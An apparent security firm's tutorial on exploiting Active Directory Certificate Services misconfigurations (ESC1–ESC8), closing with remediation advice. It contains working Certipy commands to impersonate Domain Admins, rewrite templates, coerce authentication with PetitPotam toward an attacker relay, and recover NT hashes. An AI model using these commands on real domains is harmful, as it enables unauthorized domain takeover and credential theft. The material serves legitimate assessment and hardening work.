Exploiting Active Directory Certificate Services (AD CS)

Active Directory Certificate Services has quietly become one of the most impactful privilege escalation vectors in modern Windows environments. Unlike traditional AD misconfigurations that require chaining several ACL abuses together, many AD CS vulnerabilities allow a low-privileged domain user to escalate directly to Domain Admin through a single misconfigured certificate template.

This guide covers how AD CS works, how to enumerate it for weaknesses, and walks through the most commonly exploited misconfigurations, known in the security community by their ESC (Escalation) numbering, along with real commands for exploitation.

Why AD CS Is Such a High-Value Target

AD CS issues digital certificates used for authentication, encryption, and code signing across a Windows domain. Certificates issued by a compromised or misconfigured Certificate Authority can be used to authenticate as any user in the domain, including Domain Admins, without ever touching their password or NTLM hash.

The reason AD CS misconfigurations are so dangerous is that certificate templates are frequently deployed with default or overly permissive settings that administrators never revisit after initial setup. A single template allowing low-privileged users to request a certificate with client authentication enabled, combined with the ability to specify an arbitrary subject name, is enough to compromise the entire domain.

Enumerating AD CS With Certipy

Certipy has become the standard tool for AD CS enumeration and exploitation, consolidating what used to require multiple separate PowerShell scripts into a single Python-based toolkit.

Installing Certipy

bash

pip install certipy-ad

Enumerating Certificate Authorities and Templates

bash

certipy find -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -vulnerable

The -vulnerable flag filters the output to highlight templates matching known ESC misconfiguration patterns, saving significant manual review time compared to inspecting every template's ACL and settings by hand.

Reviewing the Output

Certipy generates a JSON and text report listing every discovered Certificate Authority, template, and any flagged vulnerabilities alongside the specific ESC classification. This report becomes the roadmap for the rest of the assessment.

ESC1: Misconfigured Certificate Templates Allowing Arbitrary SAN

ESC1 occurs when a certificate template allows the requester to specify an arbitrary Subject Alternative Name (SAN) while also having client authentication enabled and granting enrollment rights to low-privileged users.

Identifying ESC1 Vulnerable Templates

Certipy flags these automatically, but the underlying conditions are:

• ENROLLEE_SUPPLIES_SUBJECT flag set on the template
• Client Authentication or Smart Card Logon extended key usage
• Enrollment rights granted to a low-privileged group like Domain Users

Exploiting ESC1

bash

certipy req -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -target ca.target.local -ca 'TARGET-CA' -template 'VulnerableTemplate' -upn administrator@target.local

This requests a certificate impersonating the Administrator account by specifying its UPN as the SAN value. The resulting certificate can then be used to authenticate as that account directly.

Authenticating With the Certificate

bash

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5

This command uses the issued certificate to perform Kerberos PKINIT authentication, returning the NT hash of the impersonated account along with a valid TGT ready for use in further attacks.

ESC2: Templates With Any Purpose or No EKU Restrictions

ESC2 involves templates configured with the "Any Purpose" EKU or no EKU restriction at all, meaning the resulting certificate can be used for any authentication or signing purpose, including client authentication, even if that was not the template's intended use.

Exploitation Approach

The exploitation flow mirrors ESC1, requesting a certificate from the vulnerable template and specifying the target identity, provided the requester also has enrollment rights and can supply a subject name.

bash

certipy req -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -target ca.target.local -ca 'TARGET-CA' -template 'AnyPurposeTemplate' -upn administrator@target.local

ESC3: Enrollment Agent Templates

ESC3 abuses templates configured to allow certificate enrollment on behalf of other users, a legitimate feature intended for smart card deployment scenarios but frequently misconfigured to allow abuse by any authenticated domain user.

Requesting an Enrollment Agent Certificate

bash

certipy req -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -target ca.target.local -ca 'TARGET-CA' -template 'EnrollmentAgentTemplate'

[cats]

Using the Enrollment Agent Certificate to Impersonate a Target User

bash

certipy req -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -target ca.target.local -ca 'TARGET-CA' -template 'User' -on-behalf-of 'TARGET\administrator' -pfx enrollment_agent.pfx

This two-step chain lets a low-privileged user request a certificate as if they were the enrollment agent acting on behalf of a Domain Admin, resulting in a usable authentication certificate for that privileged account.

ESC4: Vulnerable Certificate Template Access Control

ESC4 occurs when a low-privileged user or group has been granted excessive permissions over a certificate template object itself, such as WriteOwner, WriteDacl, or GenericWrite, allowing the attacker to reconfigure the template into an ESC1-style vulnerability.

Checking Template Permissions

Certipy's enumeration output highlights templates where non-administrative principals hold dangerous edit permissions.

Exploiting by Modifying the Template

bash

certipy template -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -template 'TargetTemplate' -save-old

This command modifies the template to enable ENROLLEE_SUPPLIES_SUBJECT and client authentication, effectively turning it into an ESC1 scenario, while saving the original configuration for restoration after the assessment.

Once modified, request a certificate exactly as shown in the ESC1 section above, then restore the original template configuration to avoid leaving the environment in a weakened state.

ESC6: Certificate Authority Configured With EDITF_ATTRIBUTESUBJECTALTNAME2

ESC6 involves a CA-level misconfiguration rather than a template-level one. When the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on the CA, any template, even ones that normally do not allow it, will accept an attacker-supplied SAN value during enrollment.

Checking for the Flag

bash

certipy find -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -enabled

[cta]

Certipy's output flags this misconfiguration directly under CA properties when present.

Exploitation

bash

certipy req -u jdoe@target.local -p 'Password123!' -dc-ip 10.10.10.5 -target ca.target.local -ca 'TARGET-CA' -template 'User' -upn administrator@target.local

Since the flag applies at the CA level, this works even against templates that would otherwise be safe, making it one of the more dangerous and easily overlooked misconfigurations in a CA deployment.

ESC8: NTLM Relay to AD CS Web Enrollment

ESC8 targets the HTTP-based certificate enrollment endpoint, which frequently accepts NTLM authentication without proper protections like Extended Protection for Authentication (EPA) or requiring HTTPS with channel binding.

Coercing Authentication

Using a coercion technique against a target machine, such as a domain controller or high-privilege service account, directs its machine authentication toward your relay listener.

bash

python3 PetitPotam.py -u jdoe -p 'Password123!' -d target.local <attacker-ip> <target-dc-ip>

Relaying to the Certificate Enrollment Endpoint

bash

certipy relay -target http://ca.target.local/certsrv/certfnsh.asp -template DomainController

If the relay succeeds, Certipy issues a certificate for the coerced machine account, typically a domain controller, which can then be used to authenticate as that machine and extract further credentials, including through DCSync-style attacks.

Using the Relayed Certificate

bash

certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5

This yields the NT hash of the domain controller's machine account, which can be leveraged for full domain compromise depending on the specific engagement objectives.

Post-Exploitation: Using Recovered Hashes and Tickets

Once a certificate has been used to authenticate and recover an NT hash or Kerberos ticket, standard post-exploitation techniques apply, including pass-the-hash authentication, DCSync extraction if the compromised account has replication rights, and lateral movement to other systems trusting the same domain.

bash

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5 -username administrator -domain target.local

SageFox Cybersecurity's Active Directory assessments routinely chain AD CS exploitation with BloodHound-driven attack path analysis, since certificate-based escalation paths frequently intersect with traditional ACL abuse chains, giving attackers multiple independent routes to the same objective.

Detecting and Preventing AD CS Abuse

Auditing Templates Regularly

Run Certipy's enumeration against your own environment periodically as part of a defensive review, not just during red team engagements, since template permissions tend to drift over time as new applications and services request custom certificate configurations.

bash

certipy find -u svc_audit@target.local -p 'AuditPass123!' -dc-ip 10.10.10.5 -vulnerable -output audit_report

Key Remediation Steps

• Remove ENROLLEE_SUPPLIES_SUBJECT from templates unless absolutely required for a specific business process
• Restrict enrollment permissions on sensitive templates to only the specific accounts and groups that require them
• Disable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on all Certificate Authorities unless there is a documented, reviewed business justification
• Enable Extended Protection for Authentication on all AD CS web enrollment endpoints and enforce HTTPS
• Audit enrollment agent template usage and restrict it to only accounts performing legitimate smart card provisioning

Best Practices for AD CS Security Assessments

• Always run Certipy's find command with the -vulnerable flag as a first step before manual template review
• Document the specific ESC classification for every finding, since remediation steps differ significantly between template-level and CA-level misconfigurations
• Coordinate coercion-based techniques like ESC8 carefully with the client, since NTLM relay attacks can have broader network effects beyond the specific target
• Verify findings do not rely on stale template configurations, since AD CS environments can change between the enumeration and exploitation phases of a longer engagement
• Include clear remediation guidance mapped to each ESC number in the final report, since generic advice like harden your CA rarely translates into an actionable fix for the client's technical team

Key Takeaways

AD CS exploitation has become one of the most efficient paths to Domain Admin in modern Active Directory environments, often bypassing the need for lengthy ACL abuse chains entirely. Understanding the core misconfiguration patterns behind ESC1 through ESC8, misconfigured templates, dangerous CA flags, and vulnerable enrollment endpoints, gives practitioners a direct route to identifying and demonstrating critical risk during an assessment.

If your organization has deployed AD CS without a recent independent review, SageFox Cybersecurity's Active Directory security assessments specifically test for these certificate-based escalation paths, delivering findings and remediation guidance that close off one of the most commonly exploited privilege escalation routes in enterprise environments today.